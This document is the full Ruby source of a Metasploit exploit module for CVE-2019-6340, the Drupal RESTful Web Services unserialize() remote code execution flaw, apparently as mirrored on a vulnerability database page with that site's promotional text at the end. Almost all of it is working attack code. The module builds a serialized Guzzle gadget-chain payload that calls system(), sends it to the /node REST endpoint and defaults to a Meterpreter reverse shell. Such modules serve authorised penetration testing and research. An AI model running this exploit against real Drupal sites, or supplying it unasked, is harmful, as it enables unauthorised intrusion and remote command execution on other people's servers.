##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
# NOTE: All (four) Web Services modules need to be enabled
Rank = NormalRanking
include Msf::Exploit::Remote::HTTP::Drupal
def initialize(info = {})
super(update_info(info,
'Name' => 'Drupal RESTful Web Services unserialize() RCE',
'Description' => %q{
This module exploits a PHP unserialize() vulnerability in Drupal RESTful
Web Services by sending a crafted request to the /node REST endpoint.
As per SA-CORE-2019-003, the initial remediation was to disable POST,
PATCH, and PUT, but Ambionics discovered that GET was also vulnerable
(albeit cached). Cached nodes can be exploited only once.
Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify users of
this alternate vector.
Drupal < 8.5.11 and < 8.6.10 are vulnerable.
},
'Author' => [
'Jasper Mattsson', # Discovery
'Charles Fol', # PoC
'Rotem Reiss', # Module
'wvu' # Module
],
'References' => [
['CVE', '2019-6340'],
['URL', 'https://www.drupal.org/sa-core-2019-003'],
['URL', 'https://www.drupal.org/psa-2019-02-22'],
['URL', 'https://www.ambionics.io/blog/drupal8-rce'],
['URL', 'https://github.com/ambionics/phpggc'],
['URL', 'https://twitter.com/jcran/status/1099206271901798400']
],
'DisclosureDate' => '2019-02-20',
'License' => MSF_LICENSE,
'Platform' => ['php', 'unix'],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Privileged' => false,
'Targets' => [
['PHP In-Memory',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_memory,
'Payload' => {'BadChars' => "'"},
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
],
['Unix In-Memory',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/generic',
'CMD' => 'id'
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliablity' => [UNRELIABLE_SESSION], # When using the GET method
'AKA' => ['SA-CORE-2019-003']
}
))
register_options([
OptEnum.new('METHOD', [true, 'HTTP method to use', 'POST',
['GET', 'POST', 'PATCH', 'PUT']]),
OptInt.new('NODE', [false, 'Node ID to target with GET method', 1])
])
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end
def check
checkcode = CheckCode::Unknown
version = drupal_version
unless version
vprint_error('Could not determine Drupal version')
return checkcode
end
if version.to_s !~ /^8\b/
vprint_error("Drupal #{version} is not supported")
return CheckCode::Safe
end
vprint_status("Drupal #{version} targeted at #{full_uri}")
checkcode = CheckCode::Detected
changelog = drupal_changelog(version)
unless changelog
vprint_error('Could not determine Drupal patch level')
return checkcode
end
case drupal_patch(changelog, 'SA-CORE-2019-003')
when nil
vprint_warning('CHANGELOG.txt no longer contains patch level')
when true
vprint_warning('Drupal appears patched in CHANGELOG.txt')
checkcode = CheckCode::Safe
when false
vprint_good('Drupal appears unpatched in CHANGELOG.txt')
checkcode = CheckCode::Appears
end
# Any further with GET and we risk caching the targeted node
return checkcode if meth == 'GET'
# NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable
token = Rex::Text.rand_text_alphanumeric(8..42)
res = execute_command("echo #{token}")
return checkcode unless res
if res.body.include?(token)
vprint_good('Drupal is vulnerable to code execution')
checkcode = CheckCode::Vulnerable
end
checkcode
end
def exploit
if [CheckCode::Safe, CheckCode::Unknown].include?(check)
if datastore['ForceExploit']
print_warning('ForceExploit set! Exploiting anyway!')
else
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
end
if datastore['PAYLOAD'] == 'cmd/unix/generic'
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
# XXX: Naughty datastore modification
datastore['DUMP_OUTPUT'] = true
end
case target['Type']
when :php_memory
# XXX: This will spawn a *very* obvious process
execute_command("php -r '#{payload.encoded}'")
when :unix_memory
execute_command(payload.encoded)
end
end
def execute_command(cmd, opts = {})
vprint_status("Executing with system(): #{cmd}")
# https://en.wikipedia.org/wiki/Hypertext_Application_Language
hal_json = JSON.pretty_generate(
'link' => [
'value' => 'link',
'options' => phpggc_payload(cmd)
],
'_links' => {
'type' => {
'href' => vhost_uri
}
}
)
print_status("Sending #{meth} to #{node_uri} with link #{vhost_uri}")
res = send_request_cgi({
'method' => meth,
'uri' => node_uri,
'ctype' => 'application/hal+json',
'vars_get' => {'_format' => 'hal_json'},
'data' => hal_json
}, 3.5)
return unless res
case res.code
# 401 isn't actually a failure when using the POST method
when 200, 401
print_line(res.body) if datastore['DUMP_OUTPUT']
if meth == 'GET'
print_warning('If you did not get code execution, try a new node ID')
end
when 404
print_error("#{node_uri} not found")
when 405
print_error("#{meth} method not allowed")
when 422
print_error('VHOST may need to be set')
when 406
print_error('Web Services may not be enabled')
else
print_error("Unexpected reply: #{res.inspect}")
end
res
end
# phpggc Guzzle/RCE1 system id
def phpggc_payload(cmd)
(
# http://www.phpinternalsbook.com/classes_objects/serialization.html
<<~EOF
O:24:"GuzzleHttp\\Psr7\\FnStream":2:{
s:33:"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{
s:5:"close";a:2:{
i:0;O:23:"GuzzleHttp\\HandlerStack":3:{
s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";
s:cmd_len:"cmd";
s:30:"\u0000GuzzleHttp\\HandlerStack\u0000stack";
a:1:{i:0;a:1:{i:0;s:6:"system";}}
s:31:"\u0000GuzzleHttp\\HandlerStack\u0000cached";
b:0;
}
i:1;s:7:"resolve";
}
}
s:9:"_fn_close";a:2:{
i:0;r:4;
i:1;s:7:"resolve";
}
}
EOF
).gsub(/\s+/, '').gsub('cmd_len', cmd.length.to_s).gsub('cmd', cmd)
end
def meth
datastore['METHOD'] || 'POST'
end
def node
datastore['NODE'] || 1
end
def node_uri
if meth == 'GET'
normalize_uri(target_uri.path, '/node', node)
else
normalize_uri(target_uri.path, '/node')
end
end
def vhost_uri
full_uri(
normalize_uri(target_uri.path, '/rest/type/shortcut/default'),
vhost_uri: true
)
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation